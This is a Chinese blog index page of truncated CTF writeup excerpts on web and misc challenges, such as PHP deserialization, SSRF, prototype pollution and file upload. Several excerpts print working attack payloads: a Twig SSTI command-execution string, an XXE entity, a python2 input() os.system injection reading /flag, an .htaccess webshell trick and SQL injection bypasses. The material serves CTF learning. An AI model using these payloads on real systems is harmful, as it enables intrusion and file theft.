CTF
旸哥哥
这个作者很懒,什么都没留下…
展开
-
[BJDCTF2020]EasySearch(ssi漏洞)
1.首页御剑扫描可以发现有index.php.swp,可以查看源码<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[原创 2020-09-26 13:41:20 · 393 阅读 · 0 评论 -
GWCTF 2019 WEB-枯燥的抽奖
考点是关于伪随机数的一些东西。查看源代码发现check.php。9AjBOMY5FN<?php#这不是抽奖程序的源代码!不许看!header("Content-Type: text/html;charset=utf-8");session_start();if(!isset($_SESSION['seed'])){$_SESSION['seed']=rand(0,999999999);}mt_srand($_SESSION['seed']);$str_long1 = "abcd原创 2020-09-25 19:38:41 · 399 阅读 · 0 评论 -
[MRCTF2020]套娃
1.右键发现源码:<!--//1st$query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!');} if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){原创 2020-09-07 20:09:14 · 444 阅读 · 0 评论 -
[网鼎杯 2020 青龙组]notes
一道原型链污染的题https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940undefsafe函数在2.03版本下会产生漏洞题目源码:var express = require('express');var path = require('path');const undefsafe = require('undefsafe');const { exec } = require('child_process');var app = express();cl原创 2020-08-26 09:46:35 · 1846 阅读 · 0 评论 -
[SUCTF 2019]Pythonginx
1.2019black hat一个议题PPT:https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf这也就是说我们传入的url为http://evil.c℀.com在经过上述处理过后便成为了http://evil.ca/c.com在unicode中字符℀(U+2100),当IDNA处理此字符时,会将℀变成a/c,因此当你访问此ur原创 2020-08-17 16:26:39 · 824 阅读 · 1 评论 -
[BJDCTF 2nd]duangShell
1.swp源码泄露题目给了提示.swp源码泄露。访问http://xxx/.index.php.swp下载该文件该文件产生的原因是:使用vi编辑器打开文件时,会生成一个.文件名.swp的备份文件,防止意外退出等情况导致文件内容丢失。产生原因主要是管理员在web目录下修改代码文件,导致生成了.swp备份文件。我们使用vim -r 文件名 来恢复内容,然后按下任意键就可以看到其中的代码了。<?phperror_reporting(0);echo "how can i give you s原创 2020-08-16 15:45:47 · 275 阅读 · 0 评论 -
[BJDCTF 2nd]xss之光
1.git源码泄露用githack提取源码:<?php$a = $_GET['yds_is_so_beautiful'];echo unserialize($a);2.构造序列化脚本题目是XSS,构造一个XSS跳转脚本,通过参数传入,flag在cookie里代码中没有给出类来,所以我们只能使用PHP的原生类来序列化构造XSS,具体文章可以看:http://blog.ydspoplar.top/2020/03/17/php%E5%8F%AF%E5%88%A9%E7%94%A8%E7%9原创 2020-08-15 14:51:00 · 257 阅读 · 0 评论 -
[BJDCTF2020]Cookie is so stable
ssti Twig模板注入发现这个输入框存在ssti漏洞。如果输出49那么是Twig,如果是7777777那么就是jinja在源代码中可以发现提示:这条提示说明注入点在cookie。修改cookie得到flagpayload:{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“cat /flag”)}};https://zhuanlan.zhihu.com/p/28823933...原创 2020-08-14 17:03:04 · 221 阅读 · 0 评论 -
[NCTF2019]Fake XML cookbook
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.8"> ]><user><username>&xxe;</username><password>asd</password></user>先挖个坑,XML学习:https://xz.aliyun.c原创 2020-08-13 19:09:58 · 150 阅读 · 0 评论 -
[De1CTF 2019]SSRF Me
知识点:flask框架 python代码审计cookie设置代码审计#! /usr/bin/env python#encoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app =原创 2020-08-11 11:13:19 · 317 阅读 · 0 评论 -
misc 九连环
zip位加密下载来是一张图片,直接formost提取这个zip是个伪加密。两种方法,一种打开winhex分析。另一种直接binwalk提取。winhex:第一个框的加密位不改,这是解压之后的压缩包的加密位,第二个框本来是01,改成00后就能解压。不过还是binwalk方便一点。steghide然后是新的姿势,第二个压缩包是真加密,我们需要用那个good图片提取出密码密码是空。得到压缩包密码打开就有flag...原创 2020-08-09 16:50:14 · 310 阅读 · 0 评论 -
0CTF piapiapia
源码泄露第一步是用扫描工具扫描到www.zip文件,获得网站源码。看到网站目录结构。打开config.php发现有flag,所以我们的目的就是如何读取这个config.php随便注册个号进去这里就是注入点,之后会提到。读源码用代码审计工具发现几个要点,我们进去看看。<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_S原创 2020-08-09 13:59:43 · 243 阅读 · 0 评论 -
[安洵杯 2019]easy_serialize_php
1.考点锻炼代码审计能力和学习PHP反序列化反序列化中的对象逃逸分析题目源码 <?php$function = @$_GET['f'];function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);原创 2020-08-08 11:17:09 · 518 阅读 · 0 评论 -
最简单的misc-y1ng
1.ZIP伪加密打开密码爆破软件刚拖进去就未找到口令,所以是伪加密。winhex打开修改加密位置09改成00,解密成功文件头的缺失缺了PNG头部,我们补上添加4个00,在写上89504E47十六进制转字符串得到flag...原创 2020-08-07 12:08:12 · 577 阅读 · 1 评论 -
[GXYCTF2019]BabyUpload
文件类型绕过Content-Type: image/jpegapache环境下上传.hatcess首先上传一个.htaccess内容如下的文件:SetHandler application/x-httpd-php这样所有文件都会解析为php,然后再上传图片马,就可以解析这里多说一下nginx我们可以尝试.ini配置文件:这道题文件后最不能有ph,且过滤<?。 图片马:蚁剑连接直接GETSHELL。...原创 2020-08-07 10:01:54 · 328 阅读 · 0 评论 -
[GXYCTF2019]禁止套娃 WP
1.第一步是.git文件泄露用GitHack.py跑一下得到源码index.php2.读源码<?phpinclude "flag.php";echo "flag在哪里呢?<br>";if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]原创 2020-08-06 16:08:39 · 426 阅读 · 1 评论 -
[网鼎杯 2018]Fakebook
1.进去先随便注册一个账号,这里注意blog是有限制的,必须http开头。2.点1进去发现url中no存在sql注入,注入发现union被过滤,不过可以使用/**/绕过。可以使用报错注入0/**/union/**/select 1,2,3,4#根据报错信息可以知道网站的储存目录,以及数据库里的数据都是以序列化方式储存。因此只要访问/var/www/html/flag.php就可以拿到flag,但通过http(s)协议无法读到flag,curl不仅支持http(s),还支持file协议,所以可以通过file原创 2020-08-04 11:41:05 · 1311 阅读 · 0 评论 -
Jarvis OJ babyphp
babyphp根据提示可知第一步是git源码泄露我们用GitHack来获取源码分析py -2 GitHack.py http://web.jarvisoj.com:32798/.git/得到的index.php中含有重要PHP代码<?phpif (isset($_GET['page'])) { $page = $_GET['page'];} else { $page = "home";}$file = "templates/" . $page . ".php";assert(原创 2020-08-01 19:28:21 · 192 阅读 · 0 评论 -
赛博杯2020WP misc
我的二维码,时尚时尚最时尚formost分离得到两张图,但是图片大小不一,需要P成大小一样的然后两张图XORα层考点重复了,同样是两张图XORpython2-人工智障python2下的input函数有风险学习网站https://www.jianshu.com/p/668bfbdb6813payload:import(‘os’).system(‘cat /flag’)sign_in十六进制转字符串⎛⎝WDNMD⎠⎞IDA打开寻找字符串,前一段在data行里 后一段是竖着的十六进制数标题原创 2020-07-28 22:33:49 · 1540 阅读 · 0 评论 -
赛博杯2020WP web
尖尖的商店1直接抓包修改钱数拿到flagEasy-Baby-Signin套娃题目,1.先抓包。用bp弱口令爆破http认证。猜测用户名是admin。爆破得到密码为123456789。2.查看页面源代码发现给出了图片的base64因为jpg参数可控尝试解码。发现是2次base64和1次16进制转字符串来的。于是尝试读取源码。把index.php经过1次字符串转16进制和2次base64之后传入jpg。发现了熟悉的PD9直接base64解码得到index.php<?php/* do yo原创 2020-07-28 22:21:23 · 2792 阅读 · 1 评论